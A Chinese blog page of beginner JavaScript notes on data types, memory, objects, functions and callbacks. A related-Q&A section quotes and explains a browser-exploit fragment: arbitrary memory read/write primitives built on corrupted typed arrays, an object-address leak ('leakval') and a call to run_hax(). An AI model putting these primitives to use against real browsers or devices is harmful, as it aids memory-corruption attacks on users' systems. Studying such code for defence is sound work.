1. js数据类型_对象_函数_内存

1. js数据类型有哪些?

  • 基本(值)类型

Number ---- 任意数值

String ---- 任意字符串

Boolean ---- true/false

undefined ---- undefined

null -------- null

  • 对象(引用)类型

Object

Array

Function

2. 判断数据类型的方法?

typeof

不能检测 null object array 的区别

instanceof

能检测 object array function 的区别

3. 谈谈内存

内存条 ---- 通电后产生的存储空间(临时的)

js 引擎对内存是自动分配

需要使用时分配

不需要使用时自动释放

执行完函数也会释放产生的内存

内存空间的分类

  • 栈空间

全局变量 和 局部变量

变量的基本类型值 和 地址值

  • 堆空间

对象数据

4. 谈谈对象

实体的抽象表达,组成有:

属性名 : 字符串(标识)

属性值 : 任意类型

一般对象 :  属性值不是 function  描述对象的状态

方法对象 :  属性值为function的属性  描述对象的行为

特别的对象 :  

数组 :  属性名是 0, 1, 2, 3 之类的索引

函数 :  可以执行的

操作内部属性(方法) :  

xxx.属性名          /          xxx['属性名'] ---- 属性名有特殊字符 / 属性名是一个变量

5. 谈谈函数

用来实现特定功能的, n 条语句的封装体

只有函数类型的数据是可以执行的, 其它的都不可以

提高复用性, 便于阅读交流

函数也是对象 

instanceof Object === true

函数有属性: prototype

函数有方法: call()/apply()

可以添加新的属性/方法

一般函数 : 直接调用     window

构造函数 : 通过new调用  实例对象

方法: 通过函数对象 call / apply 调用  传入的第一个参数对象

通过对象.调用内部的属性/方法    指向调用的对象

函数里有一个或多个值不能确定,应该由调用者确定,声明形参

return 外界需要一个值通过函数处理后返回

IIFE (Immediately Invoked Function Expression) 立即调用函数表达式 ---- (function(){ //实现代码    })();

什么函数才是回调函数 ?

你定义的, 但是你没有调用, 但它最终(在一定条件下或某个时刻)执行了

dom事件回调函数

定时器回调函数

ajax请求回调函数

生命周期回调函数

 

转载于:https://www.cnblogs.com/tianxiaxuange/p/10200530.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
var prim = { write8: function (addr, value) { expl_master[4] = addr.low; expl_master[5] = addr.hi; if (value instanceof int64) { expl_slave[0] = value.low; expl_slave[1] = value.hi; } else { expl_slave[0] = value; expl_slave[1] = 0; } }, write4: function (addr, value) { expl_master[4] = addr.low; expl_master[5] = addr.hi; if (value instanceof int64) { expl_slave[0] = value.low; } else { expl_slave[0] = value; } }, write2: function (addr, value) { expl_master[4] = addr.low; expl_master[5] = addr.hi; var tmp = expl_slave[0] & 0xFFFF0000; if (value instanceof int64) { expl_slave[0] = ((value.low & 0xFFFF) | tmp); } else { expl_slave[0] = ((value & 0xFFFF) | tmp); } }, write1: function (addr, value) { expl_master[4] = addr.low; expl_master[5] = addr.hi; var tmp = expl_slave[0] & 0xFFFFFF00; if (value instanceof int64) { expl_slave[0] = ((value.low & 0xFF) | tmp); } else { expl_slave[0] = ((value & 0xFF) | tmp); } }, read8: function (addr) { expl_master[4] = addr.low; expl_master[5] = addr.hi; return new int64(expl_slave[0], expl_slave[1]); }, read4: function (addr) { expl_master[4] = addr.low; expl_master[5] = addr.hi; return expl_slave[0]; }, read2: function (addr) { expl_master[4] = addr.low; expl_master[5] = addr.hi; return expl_slave[0] & 0xFFFF; }, read1: function (addr) { expl_master[4] = addr.low; expl_master[5] = addr.hi; return expl_slave[0] & 0xFF; }, leakval: function (obj) { obj_slave.obj = obj; return new int64(obj_master[4], obj_master[5]); } }; window.p = prim; run_hax(); }请解释以上代码?
07-15
这段代码定义了一个名为`prim`的对象,其包含了一系列操作函数,用于读取和写入特定地址的内存,并进行数据类型转换。 `prim`对象的操作函数包括: - `write8(addr, value)`: 将一个8字节的`value`写入到地址`addr`指向的内存。首先,将`addr`的低32位和高32位分别存储到`expl_master[4]`和`expl_master[5]`。然后,根据`value`的类型,将低32位存储在`expl_slave[0]`,将高32位存储在`expl_slave[1]`。 - `write4(addr, value)`: 将一个4字节的`value`写入到地址`addr`指向的内存。与`write8`类似,不同之处在于只对低32位进行操作。 - `write2(addr, value)`: 将一个2字节的`value`写入到地址`addr`指向的内存。与前两个函数类似,不同之处在于只保留低16位,并将高16位与原内存进行合并。 - `write1(addr, value)`: 将一个1字节的`value`写入到地址`addr`指向的内存。与前两个函数类似,不同之处在于只保留低8位,并将高24位与原内存进行合并。 - `read8(addr)`: 从地址`addr`指向的内存读取8字节的,并将其构造为一个64位的整数`int64`对象返回。 - `read4(addr)`: 从地址`addr`指向的内存读取4字节的并返回。 - `read2(addr)`: 从地址`addr`指向的内存读取2字节的,并保留低16位返回。 - `read1(addr)`: 从地址`addr`指向的内存读取1字节的,并保留低8位返回。 - `leakval(obj)`: 将一个JavaScript对象`obj`的引用地址写入到`obj_slave.obj`,并从`obj_master`数组提取出地址的低32位和高32位构造成一个64位的整数对象`int64`返回。 接下来,将`prim`对象给全局变量`p`,并调用`run_hax()`函数。 这段代码的目的是为了提供对特定地址内存的读写操作,并实现对JavaScript对象的引用地址泄漏。它可能用于进行更高级的攻击和漏洞利用。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值